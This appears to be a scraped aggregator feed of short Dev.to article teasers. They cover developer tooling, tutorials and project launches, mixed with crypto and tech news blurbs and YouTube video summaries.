Hey developers! Remember the last time you tried to integrate a REST API with Claude Desktop? Yeah, me too. It involved reading through MCP docs, writing YAML configs, figuring out authentication, and probably a few frustrated sighs. What if I told you there's a better way? A way that involves one command and lets AI do the heavy lifting? Let me introduce you to QuickMCP.NET - specifically its brand new Claude Desktop Extension Builder. Trust me, this is going to blow your mind. You've got a REST API. Maybe it's your company's internal API, maybe it's Stripe, GitHub, or that quirky microservice Bob built. You want Claude to interact with it. So you dive into the Model Context Protocol docs and realize you need to: Write an MCP server configuration Configure authentication (API keys, OAuth,…  ( 13 min )

👋 Hey Dev.to, I’m new here! I just joined Dev.to and thought I’d introduce myself by sharing a project I’ve been building: GistPad.com. It’s basically a modern pastebin, but with a focus on privacy and usability. If you’ve ever needed to share a quick code snippet or a block of text, you know the pain of messy links, no syntax highlighting, or worrying about who can see it. GistPad.com tries to fix that. You can save snippets with syntax highlighting for tons of languages. Decide if your paste is public, unlisted, or private (with password protection or expiration timers). Every paste keeps a version history, so you can roll back if needed. Teams can use shared workspaces with tags, search, and audit logs. And if you’re into automation, there are raw links, embeds, APIs, and webhooks. Why I built it I’m a developer and security researcher, and I kept running into situations where I needed to share code securely without relying on outdated tools. GistPad.com grew out of that need — something simple, fast, and trustworthy. I’d love to hear what you think. Is it useful? What features would make it better? Feedback from communities like Dev.to is exactly what helps projects like this grow. 👉 You can check it out here: https://gistpad.com  ( 6 min )

Introduction Service meshes have become one of the most talked-about technologies in cloud-native infrastructure. But amid the hype, a critical question often gets overlooked: Do you actually need one? A service mesh adds significant complexity to your infrastructure. For some organizations, it solves critical problems and pays for itself immediately. For others, it's unnecessary overhead that slows development and increases operational burden. In this comprehensive guide, we'll explore what service meshes are, when they're genuinely needed, and how to choose between the leading options: Istio and Linkerd. A service mesh is a dedicated infrastructure layer for handling service-to-service communication. It provides features like traffic management, security, and observability without requ…  ( 14 min )

For this release 0.3, I continued to work on the https://github.com/hiero-ledger/hiero-sdk-python repository. My initial goal was not just to solve an issue and open a pull request for Hacktoberfest, but also to continue working on real projects, thereby understanding professional workflows such as proper Git rebasing, writing clean commits, detailed pull requests, ensuring I follow contribution rules, and documenting changes. I worked on issue #829, which required adding a real example of how to use fee_schedule_key in token creation within the Hiero SDK. While this Software Development Kit supported the functionality, there was no documented usage example, and users reading the documentation could not see how to apply it in practice. My task involved: Creating a runnable example in toke…  ( 7 min )

I created a login for Surreal Database and SvelteKit. The core server function can be reused in ANY TS SSR Framework! Create a new SvelteKit project with TS. npx sv create surreal-auth Install latest version of Surreal JS. I am not using alpha for this demo. npm i -D surrealdb Unfortunately, you must manually handle errors with try and catch. I am hoping to get this fixed with destructuring. Here I created some helper functions to remedy this and put all the database functions in one place. export async function surrealConnect({ namespace, database, url }: { namespace: string, database: string, url: string }) { const db = new Surreal(); try { await db.connect(url, { namespace, database }); } catch (e) { …  ( 11 min )

Unlocking Monetization in AI Conversations: Meet Monetzly Traditional advertising has struggled to find its footing in the world of AI conversations. Users engage differently with AI applications than they do with standard web platforms, making conventional ads feel intrusive and disruptive. This begs the question: How can developers monetize their innovative AI solutions without sacrificing user experience? Enter Monetzly—the first platform that allows developers to both monetize their apps and earn from hosting relevant ads, creating a sustainable ecosystem for AI innovation. As AI applications multiply, many developers are grappling with viable monetization strategies. Subscriptions and paywalls can alienate users, while traditional ads often disrupt the flow of conversations. The res…  ( 7 min )

For the second pull request I decided to look for another game project, one that was more mature than ShooterCarnival. This led me to stumble upon Threadbare, which was another collaborative open-source game, this time in a top down style. Since this game was further along, I hoped that I'd be able to implement something more advanced. The first thing I looked at was a UI bug where the movement hint was misaligned and not at the bottom of the viewport. After taking the time to explore the Threadbare repository and structure, I found where the main scene was and got around to seeing how the objects were laid on the scene. The fix turned out to be a really simple variable change, but it did take some time to get to know the project. Nonetheless, I wanted to do more than this. I actually not…  ( 8 min )

I recently prepared and published a small CLI tool called Repository-Context-Packager to the npm registry. I used npm as my package registry and the standard npm publish for releasing. The release process started with preparing my package.json file. I set the version to 1.0.0 and added a files array to control what gets published. I also added a bin field for the CLI command, set the engines requirement, and created a prepublishOnly script to run tests and linting automatically before publishing. Next, I created a .npmignore file to exclude test files, GitHub workflows, and dev documentation. This kept the package size small—only about 27 KB with 11 files. I used npm pack --dry-run to preview the package contents before actually publishing. Before publishing, I made sure all 76 tests pass…  ( 8 min )

Everything actually started when I played Loneliness. What a strange, quiet punch of a game. I wasn’t expecting much (it’s just little squares on a white screen) but somehow it managed to pull more emotions out of me in two minutes than most AAA games do in fifty hours. I walked away confused and weirdly emotional, like someone had whispered something important into my ear and then vanished. So of course I did the only reasonable thing: I became obsessed. I hunted down the creator, Jordan Magnuson, and ended up reading his book Game Poems, which didn’t help at all because now I’m even more obsessed. The whole idea that games can be short, intentional emotional gestures suddenly made sense. Then I stumbled upon URL Snake, this tiny absurd miracle living inside the URL bar, built entirely wi…  ( 7 min )

Ken Scott is the legendary engineer and producer whose career kicked off in the tape library at Abbey Road and soon landed him behind the console with The Beatles and the boundary-pushing Mahavishnu Orchestra. His early days cutting tape and tweaking levels laid the groundwork for some of the most groundbreaking sounds of the late ’60s and early ’70s. From there, Scott became a go-to producer, shaping David Bowie’s golden era—think Hunky Dory, Ziggy Stardust and Aladdin Sane—while also guiding Supertramp to their signature pop-rock sheen and capturing Elton John’s most enduring hits. Throughout the interview, he dishes on studio hijinks, the art of collaboration and what it really takes to turn a great song into an unforgettable record. Watch on YouTube  ( 6 min )

CinemaSins is back with “Everything Wrong With The Wiz In 15 Minutes Or Less,” taking you down the yellow brick road to tally up every plot hole, pacing hiccup, and cinematic sin in the classic musical now that Wicked is back in theaters. Expect their signature fast-paced, sarcastic rundown and a verdict on whether The Wiz holds up—or falls flatter than you remember. Along the way they plug all the usual suspects: their main site, YouTube channels (@TVSins, @CommercialSins, @CinemaSinsPodcastNetwork), a sinful poll, Patreon support, and social hangouts on Discord, Reddit, Instagram, and TikTok. Plus a shout-out to the writers behind the sins—so subscribe, join the fun, and keep counting! Watch on YouTube  ( 6 min )

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Michael Saylor's company's balance sheet isn't at imminent risk of collapse, but further capital-raising efforts could surely be hindered unless conditions improve.  ( 36 min )

Technical indicators suggest oversold conditions, but a break above $1.96 is needed to reverse the current downward trend.  ( 35 min )

Institutional BTC investors may explore whether bitcoin-native yield, collateral and liquidity opportunities could offer the next stage of strategic deployment.  ( 37 min )

The exchange plans to introduce U.S. perpetual-style futures for altcoins, settling on a five-year expiry.  ( 34 min )

The winning miner controls just 0.0000007% of Bitcoin’s total network hashpower, which recently hit a record 855.7 exahashes per second.  ( 34 min )

Strategy’s 650,000 BTC holdings make it a ‘pressure valve’ for the broader market, said the Bitmine Immersion chairman.  ( 34 min )

This inefficiency disproportionately affects retail liquidity providers, with 50% losing money due to impermanent loss, and net deficits exceeding $60 million, a new report finds.  ( 35 min )

Bitcoin is on track for its worst weekly performance since March, while U.S. demand indicators weaken as the Coinbase premium declines and spot ETFs reach a record volume.  ( 35 min )

A billion-pound laundering network spread across the UK used cryptocurrency to move criminal proceeds and help Russian interests evade sanctions, according to the NCA.  ( 34 min )

The attack did not compromise the underlying smart contracts, but users are advised to avoid the compromised domains and instead use decentralized ENS domains.  ( 34 min )

The chief of crypto-focused multi-family office Digital Ascension Group talks about his VIP services for wealthy holders of digital assets.  ( 40 min )

As the bitcoin treasury frenzy fades, the HODL pitch isn't completely dead, but firm should consider active reserve management to stand out, analysts say.  ( 36 min )

Peak fear suggests a tactical low may be near.  ( 34 min )

Alfa Romeo Malaysia recently previewed the Giulia and Stelvio, marking the automaker’s return to the local market. During the preview, the company also revealed two other models that might be arriving in Malaysia, one of which is the Junior. The entry-level Alfa Romeo model was introduced back in April 2024 and was refined later this […] The post Alfa Romeo Junior Hinted For Potential Local Debut appeared first on Lowyat.NET.  ( 18 min )

Warhammer: Vermintide 2 is free to claim again on Steam right now, which is good news for those who’ve missed your chance to grab it back in 2022. The offer lasts until 24 November 2025, and once you redeem it, the game is yours permanently. If you’re new to the series, Vermintide 2 is the […] The post Vermintide 2, One Of Warhammer’s Best Co-op Games, Is Free Again On Steam Until 24 November appeared first on Lowyat.NET.  ( 34 min )

Ubisoft has confirmed that its €1.16 billion (~RM55.3 billion) deal with Chinese conglomerate Tencent has officially concluded. The French video game studio confirmed that the latter’s investments has been completed, giving it a 26.32% share in their co-founded outfit, Vantage Studio. “Today’s closing crystallises the value of our world-class IPs and marks a pivotal milestone […] The post Ubisoft’s €1.16 Billion Deal With Tencent Has Gone Through appeared first on Lowyat.NET.  ( 33 min )

POCO is gearing up to launch the F8 series next week on 26 November. However, the smartphones are not the only devices to debut on that day, as the Xiaomi sub-brand will also be unveiling two tablets: the Pad X1 and the Pad M1. The company has started posting teasers on its official X account, […] The post POCO Pad X1 And Pad M1 To Debut 26 November appeared first on Lowyat.NET.  ( 34 min )

Axelang is a new systems programming language designed around the following question: Why is concurrency an afterthought, a library, or a bolt-on runtime — as opposed to a language-level concept? Axe aims to resolve the issue in that rather than forcing developers to manually struggle with bolted on threads, locks, futures and external libraries, Axe makes concurrency part of the core language semantics, in that writing Axe forces you to think concurrently by default. Modern CPUs have not been about single-thread speed for a long time. Performance improvements are generally achieved by: Adding more cores Adding more threads Hiding I/O latency Overlapping compute with work But most languages still make concurrency: verbose error-prone tacked on after the fact C, C++, Java, and Rust rely hea…  ( 7 min )

🚀 Django Learning Journey – Day 18 Another day, another chapter unlocked in my Django learning journey! Today, my curiosity took control. I asked myself: So instead of sticking with Django’s default sqlite3, I explored the world of cloud-based PostgreSQL databases — especially the ones offered by Render. 🧭 Exploring Cloud Databases I spent time reading articles, browsing StackOverflow, and watching YouTube tutorials on how Django connects to external databases. There are so many choices out there, but I decided not to overwhelm myself. ⚙️ Setting Up a Test Project To avoid breaking my main project, I created a test Django project and pretended this was a real production setup. Surprisingly, all the setup felt like a quick refresher — I almost remember all the commands now! whitenoise gunicorn Feels nice to see how the brain actually learns through repetition. 😄 🔑 Key Learnings of the Day To connect Django to an external PostgreSQL database, these two packages became essential: pip install psycopg2 I’m still learning what psycopg2 does under the hood, dj-database-url, on the other hand, was very clear: Using the parsed URL, I updated the settings.py file and fed the database link through Render’s environment variables. 📤 Pushed to Git → Deployed → Nervous Excitement After setting everything locally: Pushed to GitHub Deployed to Render And yes… that feeling of watching a project deploy still hits different! But then… ❌ “Bad Request (400)” — The Plot Twist Everything looked perfect… At this point, I had no clue what the issue was. ❓ Honest Questions to the Community 1️⃣ Should I continue learning with PostgreSQL or stick to Django’s default sqlite3 while learning? Would love to hear honest suggestions! ❤️ Signing Off Not a huge coding day, but a massive learning day. Deployment teaches you things that tutorials never do. And I’m excited to wake up tomorrow and fix that 400 error! If you’ve ever felt this same excitement (or confusion!) while connecting databases or deploying, tell me your story in the comments!  ( 7 min )

This is the first in a series documenting an experiment: bringing clarity and explicit agreements to a distributed engineering team. Starting with something deceptively simple—the Definition of Done. I've been putting off writing about my work for years. The excuse was always the same: "I'll write once I've figured it out." Which is bullshit, obviously. You never figure it out. You just accumulate scar tissue and call it experience. The truth is simpler: I was waiting to have a success story worth telling. Because who wants to read "here's what I'm trying, it might crash"? Turns out, that's exactly what's interesting. The messy middle where you don't know if your hypothesis is brilliant or stupid. So here we go. I'm a frontend lead at a Swiss healthcare company, and I'm about to try someth…  ( 10 min )

The task is to write a function that finds the first duplicate given a string that might contain duplicates. The boilerplate code function firstDuplicate(str) { // your code here } Declare a variable to keep track of every character that is seen const seen = new Set() As soon as a character that has been seen previously is reached, that is the first duplicate. for (let char of str) { if (seen.has(char)) { return char; } seen.add(char); } If the end is reached and there is no repeat, return null. The final code function firstDuplicate(str) { // your code here const seen = new Set(); for(let char of str) { if(seen.has(char)) { return char; } seen.add(char) } return null; } That's all folks!  ( 6 min )

Day 75 [November 21, 2025] I need to buckle down, as I'm still lagging on day day 3 & 4 goals, "Day 3-4: Control structures (if-else, loops)", as well as day 5 (and 6) goals, "Day 5-6: Functions and modules", and Day 7 target (exercises) (Meta AI, personal communication, August 8, 2025). If I haven't covered this, I can't make progress on day 8 - 74 goals. Goals: Plotting in Python ✅ Subplots✅ Exercises✅ If ... Else Arrays For Loops Nested For Loops While Loops Exercises Creating Functions in Python - Introduction Functions with multiple return values Exercises Creating Classes in Python The init () Function Exercises Creating Python Modules Exercises Notes: Lists and Tuples Dictionaries Sets Sets: sets do not possess order. Dictionaries .items() method is used to extract all key-value pairs as tuples, all itemized in a list: listOfItems = list(nameOfDict.items()) Summary: References: Halvorsen, H. (n.d.). Python. https://halvorsen.blog/documents/programming/python/python.php#python4 Santarcangelo, J. (n.d.). Python for data science, AI & development [MOOC]. Coursera. https://coursera.org/learn/python-for-applied-data-science-ai  ( 6 min )

This is a submission for the AI Challenge for Cross-Platform Apps - WOW Factor <!-🌟 WOW Factor — What I Built Demo Below is the demo of my project for the AI Challenge for Cross-Platform Apps. 📱 Mobile version (Android & iOS) 🖥️ Windows desktop version 🌐 WebAssembly version 🎞️ Short demo video Create a polished app cover image 2048x1152 for "WisdomFlow — An AI-Powered Inspirational App Built with Uno Platform". Design: center a large smartphone mockup showing a clean quote card UI with a calm soft orange → coral gradient background. Quote card: rounded rectangle, white, subtle drop shadow, serif title text "Today: Courage" and small reflection line beneath. Above the phone, place the app title "WisdomFlow" in elegant serif, subtitle "AI-powered daily inspiration" in small sans. A…  ( 9 min )

Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins just dropped a cheeky, rapid-fire roast of the new KPop Demon Hunters movie, calling out every over-the-top moment and plot quirk—yet embracing the film’s sheer fun and spectacle as they tally up the sins. Hungry for more? They’ve got a loaded Linktree, Patreon page and immortal polls to fill out, plus Discord and Reddit hangouts. Don’t forget to follow the sin-squad (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian & Daniel) on Twitter and Instagram for your daily dose of movie nitpicks. Watch on YouTube  ( 6 min )

I never thought I’d be building healthcare systems for rural clinics. And yet, here I am, late 2025, staring at lines of React code that feel like they might just save lives. I’m a frontend developer. My world usually revolves around components, state, and CSS. But this project “Delta State Health Information & Appointment Booking System” pulled me out of my comfortable bubble and threw me into a reality that’s messy, complex, and astonishingly human. Let me tell you what it’s like. Working on rural healthcare in Delta State isn’t like coding for a SaaS startup in Lagos or Abuja. Here, the constraints are real: intermittent internet, limited tech literacy, stretched clinic staff, and patients whose days are consumed by survival, not appointments. Our challenge as a team wasn’t just to buil…  ( 9 min )

To understand how modern Large Language Models (LLMs) like ChatGPT work, we must first understand the architecture that changed everything: the Transformer. Before we dive into the complex layers, we need to establish why we moved away from previous methods and how the model initially processes language. Before the "Attention Is All You Need" paper, the standard for processing sequential data (like text) was the Recurrent Neural Network (RNN).In an RNN, data is processed sequentially. We give the network an initial state (State 0) along with an input x1 to produce an output y1 and a hidden state. This hidden state is passed forward to the next step, allowing the network to "remember" previous inputs. While intuitive, RNNs suffer from severe limitations, specifically slow computation for l…  ( 9 min )

In this workshop, I will guide you step by step how to build a Blue-Green deployment pipeline with AWS pipeline and deploys on AWS ECS with EC2. This deployment strategy helps teams to first test an app while routing traffic to a non-prod route, when confirmed that the app functions as expected, then the traffic is routed to prod. In case of any failure, a rollback is initiated for the previously working version hence avoiding downtime. The Infrastructure consists of an Application Load Balancer which exposes the app on Port 80, routes traffic to the autoscaling group managed by ECS, a fleet of EC2 instances running in two AZs for High availability. Each of these instances have ECS agent installed and the necessary software for running our Docker containers. These interact with Aurora Po…  ( 20 min )

Check out this Pen I made!  ( 6 min )

The dev ecosystem is shifting fast. This blend is helping teams ship better products with fewer bottlenecks - and developers who embrace it are becoming the new industry leaders.  ( 6 min )

You loved Nano-Banana? Created figurine images of all your friends and ghost face behind all your foes? Here now comes the not-so-nano "Gemini 3 Pro Image" model, that you will all prefer calling Nano Banana Pro! While the Flash model (Nano Banana) brought speed and affordability, the Pro version introduces "thinking" capabilities, search grounding, and high-fidelity 4K output. It's time to go bananas with complex creative tasks! This guide will walk you through the advanced features of Nano Banana Pro using the Gemini Developer API. This guide will cover: Using Nano Banana Pro in Google AI Studio Project setup Initialize the Client Basic Generation (The Classics) The "Thinking" Process Search Grounding High-Resolution 4K Generation Multilingual Capabilities Advanced Image Mixing …  ( 22 min )

Sí, ese soy yo y se preguntarán... Sé que luego de leer el título lo que en verdad se preguntan es "Y quién quiere hacer eso?" Y más en esta época de IAs escribiendo proyectos completos. Bueno, yo, ¿por qué? Por lo que ustedes también saben, me la paso más tiempo borrando y cuidándome de no tocar Tab o Enter o flecha derecha que escribiendo. Así que investigue eso, fin. estos son los que me molestaban a mí, al menos. { "editor.inlineSuggest.enabled": false, "editor.hover.enabled": false, } pero si quieren saber mas Desactivar las sugerencias de autocompletado (IntelliSense) Abre Settings (Ctrl + ,). Busca: "suggest" Desactiva: Editor: Quick Suggestions Editor: Suggest On Trigger Characters Editor: Accept Suggestion On Enter Editor: Suggest Show Words Editor: Snippet Suggestions…  ( 7 min )

Most of us have dealt with Node.js version conflicts at some point: One project needs Node 18. Another needs Node 20. A global upgrade breaks something. Corporate or restricted laptops don’t allow installers. CI/CD behaves differently from local environments. Teammates run “slightly different” versions and bugs magically appear. On Linux/macOS, tools like nvm, asdf, volta, and fnm help… So I started experimenting with a simple idea: What if every project had its own Node.js runtime, completely local, portable, and isolated? Just like Python has .venv. That experiment grew into a small open-source tool called nenv. 🚀 nenv — Portable Node.js per project (Windows) nenv is a lightweight script that downloads Node.js directly into your project folder and makes all Node/npm commands use that lo…  ( 7 min )

There are chapters in Scripture that read like lightning—bright, sudden, unforgettable. Matthew 6 is rain. It is the quiet voice of Jesus calling us into a life not built on fear… This chapter is not a suggestion; it’s an invitation. Matthew 6 is the moment Jesus turns our gaze away from what the world values and lifts it toward what Heaven treasures. It is the chapter where He teaches us how to breathe. It is the chapter where He shows us how to pray. It is the chapter where He tells us why fear dies in the presence of trust. And it is the chapter where He reveals what it means to seek first the Kingdom—not as a slogan, not as a verse we memorize, but as a lifestyle that rearranges the architecture of our entire inner world. This article is a slow walk through that holy terrain. You are n…  ( 12 min )

The Generational AI Blind Spot We've got a fantastic new AI coding assistant, but when you ask it about your company's proprietary service architecture, it gives you a generic shrug (or worse, a confident hallucination). Why? Because our AI lives on the general internet, and our team's hard-won knowledge is locked behind firewalls and scattered across tools like Confluence, Slack, and internal documentation. This is a pain point for everyone. As a service developer, we need that agent to understand the nuance of our codebase and team conventions. As a service operator, we can't afford to waste time retracing the steps of a solved production issue - we need the fastest, most reliable fix, instantly. If you're interested in how to systematically manage context for AI coding assistants, che…  ( 9 min )

Here are the moments where a monolith still wins without breaking a sweat: When you spend more time stitching services together than building actual features. When a simple bug fix turns into a safari across eight repos, three pipelines, and a trace ID longer than your weekend. When your “independent deployments” still require team-wide coordination because the contracts can’t sit still. When your startup is running nine services at 50 RPS total and the DevOps bill looks like you're streaming Netflix in 16K. When onboarding a new developer requires a 40-minute architecture TED Talk and a whiteboard marker that gives up halfway. In those moments, a clean, modular monolith starts looking less like nostalgia and more like high-performance strategy. A monolith gives you focus, speed, and clarity. Microservices give you scale and autonomy, but only when you genuinely need them and you're ready to pay the operational tax. Real architectural leadership isn't about chasing trends. It's about aligning tech choices with your team’s execution capacity and your product's actual trajectory. The monolith isn't outdated. It's the adult in the room. I come in peace!  ( 6 min )

Timothy was reviewing a performance monitoring system when he stopped on an unfamiliar pattern. "Margaret, this decorator isn't a function - it's a class. I've only ever seen decorators written as functions." Margaret looked over. "Class-based decorators are powerful when you need your decorator to maintain state. What are you looking at?" class CallCounter: """A decorator class to count function calls.""" def __init__(self, func): self.func = func self.count = 0 def __call__(self, *args, **kwargs): self.count += 1 print(f"-> Calling {self.func.__name__}. Call count: {self.count}") return self.func(*args, **kwargs) @CallCounter def process_data(data): """Processes the input data.""" return data.upper() print(process_data("hello…  ( 8 min )

We’ve released an update to the Payra Cash plugin for WordPress/WooCommerce, focused on refreshing the branding and aligning the plugin with the broader Payra product ecosystem. What’s Updated? New Logo — consistent with the updated Payra branding Updated Links — Payra is now a suite of products, so plugin links now point to specific product pages instead of a single homepage New media sources added — including links to dev.to, Hashnode, and the YouTube channel Improved plugin metadata — cleaner, more modern, and aligned with the Payra identity Small UX refinements — clarified docs links, sidebar adjustments, updated info pages This update does not change payment functionality — it’s a lightweight refresh to prepare the plugin for major upcoming features. What’s Coming Next? Future planned updates include: Payment Links integration Subscription billing Smarter on-chain status validation Expanded merchant configuration options  ( 6 min )

Vehicle Diagnostic Timeline and Dealership Communication Analysis This post documents the vehicle’s diagnostic history in chronological order, followed by a comparison to the dealership’s written statements. All quotes from the dealership representative (Colin) are taken exactly as written. No interpretations or recall references are included. The goal is to present clear facts based on the vehicle’s ODIS engineering log and compare them to the statements made by the seller after the issue was discovered. Diagnostic Timeline All timestamps and mileage readings come directly from the ODIS long scan. October 8, 2024 Module: Brake Electronics May 31, 2025 Module: Body Control June 24, 2025 Module: Access and Start Interface July 18, 2025 (Critical) Module: Transmission selector system This is…  ( 8 min )

Redis and Memcached are the gold standard for real-time caching, sometimes you want a simple, file-based approach — and maybe even store those cached files in the cloud for durability and scalability. In this article, I’ll show you how to: Implement a file-based cache for MySQL queries in PHP Upload those cached JSON files to DigitalOcean Spaces Serve cached data efficiently to clients Step 1: Local File-Based Cache in PHP We start with a simple caching mechanism that saves query results into a JSON file: <?php $cacheFile = "cache/users.json"; $cacheTime = 300; // 5 minutes if (file_exists($cacheFile) && (time() - filemtime($cacheFile)) < $cacheTime) { $data = json_decode(file_get_contents($cacheFile), true); } else { $mysqli = new mysqli("localhost", "user", "pas…  ( 7 min )

Modern students aren’t just dealing with homework and exams anymore. They’re navigating a hyper-connected, always-on world filled with digital distractions, performance pressure, and unrealistic expectations. And here’s something many educators still overlook: 💡 A student’s mental health directly affects their ability to learn, focus, and perform. As teams at NVelUp.care In this post, we’ll break down why mental health plays such a big role in learning—and how schools, parents, and students can build healthier academic habits. 💭 Why Mental Health and Academic Performance Are Deeply Connected Students today face more mental strain than any previous generation. Mental health challenges commonly affecting students include: Depression → low motivation, skipped classes Anxiety → test panic, f…  ( 8 min )

How We Use AI as Software & Cloud Engineers AI has become a big part of our daily work as engineers. It helps us build faster, work smarter, and deliver better solutions. As software engineers, AI assists with writing code, fixing bugs, creating tests, and improving code quality. It acts like a coding partner that speeds up development and reduces mistakes. As cloud engineers, AI helps automate infrastructure, optimize cloud costs, and predict issues before they happen. AI tools analyze systems, scale resources automatically, and keep cloud environments secure. In DevOps, AI improves CI/CD pipelines, scans for vulnerabilities, and speeds up testing. It removes repetitive tasks so we can focus on designing better architectures and solving real problems. AI doesn’t replace engineers — it empowers us. With AI handling routine work, we have more time to build creative, scalable, and intelligent solutions.  ( 6 min )

Your Personal Message Delivery System Welcome to your hands-on Kafka learning journey! In this guide, we'll build a complete Kafka system on a single machine - perfect for learning, testing, and understanding how everything works together. Think of this as creating your own Digital Post Office on your computer: ┌─────────────────────────────────────────┐ │ YOUR LAPTOP (Single Machine) │ │ │ │ ┌───────────────────────────────┐ │ │ │ KAFKA BROKER (Port 9092) │ │ │ │ Your Post Office │ │ │ ├───────────────────────────────┤ │ │ │ │ │ │ │ 📬 Topic: "customer-orders" │ │ │ │ 📬 Topic: "payment-alerts" │ │ │ │ 📬 Topic: "user-activity" │ │ │ │ …  ( 10 min )

Black Friday stopped being about TVs a long time ago. In 2025, the real rush is digital. Solopreneurs aren’t hunting for gadgets anymore - they’re looking for software that gives them back the one resource they’re always short on: time. Website: jasper.ai Website: notion.so Website: clickup.com Website: grammarly.com Website: Halper.ai Website: surferseo.com Website: canva.com It’s easy to get swept up in the Cyber Week chaos. But the best AI investments aren’t impulsive - they’re intentional. Integration: Does it work with your current setup? Automation depth: Will it truly replace repetitive tasks or just rename them? Support: Is there a real team behind it, or just a chatbot? Scalability: Will it still fit when your client base triples? “In 2025, the best AI tools don’t just save time - they restore mental space,” says tech strategist Lena Morales. “Automation isn’t replacing entrepreneurs. It’s giving them their evenings back.” These are the standout AI tools worth exploring during Black Friday and Cyber Monday 2025. They help you communicate faster, stay organized, streamline decision-making, and reduce the mental load that comes with running a business alone. The discounts are great, but the real value lies in choosing systems that give you time back - time to focus, time to grow, and time to enjoy the parts of your work that actually matter. Whether you're creating content with Jasper, managing projects with ClickUp, or using Halper to centralize your entire workflow, one thing is clear: automation isn’t an add-on in 2025. It’s the foundation of a sustainable business. AI doesn’t replace your work. It makes the work lighter - and gives your hours back to you.  ( 9 min )

As AI engines like ChatGPT, Gemini, Perplexity, Claude, Copilot, and Grok begin to replace traditional search behavior, businesses are starting to realize a simple truth: it no longer matters only how you rank on Google—what matters is whether AI systems mention you when users ask questions. This new reality has given rise to a fast-growing category known as AI rank tracking. These tools monitor how often your brand appears inside AI-generated responses and how you compare to competitors in real conversations. But while the market is evolving quickly, many solutions are priced for large enterprises, not small businesses. That’s why affordability has become one of the biggest concerns for brands, agencies, and founders looking to understand their visibility inside AI engines without spendin…  ( 10 min )

How I’m Building a Racing-Analysis Web App from Raw Telemetry (And How You Can Copy-Paste the Whole Stack) I spent last winter watching GT4 cars throw 32768-lap grenades into their data streams while the real lap count quietly hid in the time stamps. The ECU clock drifted like a cheap Rolex, but the GPS trace never lied. That mess is now becoming a Next.js app that turns any $200 OBD+GPS logger into a pro-level race-eng tool. Below is the exact blueprint I’m coding to, parameter by parameter. Every time the car crosses the start/finish line I collapse the last chunk of rows into a single document that lands in MongoDB (Atlas free tier). Shape: { _id: ObjectId, Notice I store arrays, not rows – one lap = one document = lightning-fast reads. Pseudo-code (runs in Node API route): const F…  ( 8 min )

Passo a passo resumido para configurar o Lombok no IntelliJ com Gradle usando Java 21. Instale o plugin Lombok no IntelliJ Settings → Plugins → Marketplace → Lombok → Install → Reinicie o IDE. Habilite Annotation Processing Settings → Build, Execution, Deployment → Compiler → Annotation Processors → marque Enable annotation processing. Configure o Java 21 (toolchain) no Gradle Adicione o Lombok corretamente nas dependências (main e test) do build.gradle dependencies { compileOnly 'org.projectlombok:lombok:1.18.38' annotationProcessor 'org.projectlombok:lombok:1.18.38' testCompileOnly 'org.projectlombok:lombok:1.18.38' testAnnotationProcessor 'org.projectlombok:lombok:1.18.38' // ... your others dependencies } Não use implementation para Lombok. Sincronize e compile No IntelliJ: clique em Load/Reload Gradle Changes (ícone do elefante). No terminal: ./gradlew clean build Teste rápido import lombok.*; @Data @Builder class Demo { private String name; } Se Demo.builder() e getName() existirem, está tudo certo. Para validar, você poderá gerar uma classe de Teste, como no exemplo abaixo. import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.*; class DemoTest { @Test void testBuilderAndGetter() { Demo demo = Demo.builder().name("Jonathas").build(); assertEquals("Jonathas", demo.getName()); } } Dica!! Após alterar o build.gradle, sempre dê um clean + build ou Reload Gradle no IDE.  ( 6 min )

When I opened our Repository Class file and saw a single method spanning 194 lines with nested subqueries, complex conditionals, and duplicated logic, I knew we had a problem. The code worked, but it was a maintenance nightmare. Fast forward three weeks: the same functionality now lives in clean, composable, testable components. The result? 78% less code complexity and a architecture that actually makes sense. Here's how we did it. Our conversation repository had methods that looked like this: public function getAllBy(TeamMemberId | CandidateId $id, ConversationMetaDto $meta): CursorPaginatorDto { // 194 lines of this... $query = DB::table('conversation') ->select( 'c.*', DB::raw('(SELECT _m.content FROM message WHERE...) AS last_message'), …  ( 11 min )

I never thought I’d be the kind of person who took pictures of everything my baby did. Before I became a parent, I used to laugh when people showed me twenty nearly identical photos of their kid doing something simple—like eating peas or staring at a lamp. I’d smile politely and pretend to understand. Now I’m that person. I became that person the moment I held my son for the first time. Something in me shifted. It didn’t happen gradually. It happened all at once. His fingers curled around mine, so tiny and warm, and suddenly every second felt important. Not in a dramatic way—just in a very quiet, very tender way. I wanted to remember everything, even the things that didn’t seem special. But the funny part is: at first, I completely forgot about pictures. The first week was a blur of diaper…  ( 11 min )

Bill Simmons and Kyle Brandt Take on “Weird Science” The Ringer’s dynamic duo revisits John Hughes’s 1985 cult classic, Weird Science, starring Anthony Michael Hall, Kelly LeBrock, and Ilan Mitchell-Smith. Expect an irreverent deep dive into the film’s sex, drugs, rock ’n’ roll moments (and, yes, all the chips, dips, chains, and whips). Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this Rewatchables episode is packed with 80s nostalgia, insider anecdotes, and plenty of laughs. Don’t forget to subscribe to The Ringer channels for more movie-centric banter! Watch on YouTube  ( 6 min )

Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less Cinema Sins delivers a playful, fast-paced breakdown of all the “sins” in the new KPop Demon Hunters movie, complete with their signature humor and razor-sharp observations. If you’ve ever wondered what a Cinema Sins roast of this flick sounds like, this is it. Want more? Dive into their network—TV Sins, Commercial Sins, podcasts—and hit up their website for the latest updates. Don’t forget to fill out the sinful poll, back them on Patreon, or say hi on Discord and Reddit. Shout-outs to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel for keeping the sin train rolling! Watch on YouTube  ( 6 min )

Summary Discussion on using Generative AI APIs Efficiently inquiring multiple models in parallel Concept: Generative AI models are like humans, and having n models equates to having "n different people". By making parallel inquiries to n models, you can experience asking n people simultaneously. This can be achieved by making API calls in parallel. Example: pgpt.py cosense code Background As Fast as Possible. As Smooth as Possible. The back-and-forth with ChatGPT can feel primitive and leaves room for improvement. Engineers using built-in AI agents like Copilot, Cline, and Cursor might never want to return to rudimentary copy-pasting. This isn't limited to coding, but applies to inquiries in general. Whether asking about unfamiliar terms or getting ten …  ( 8 min )

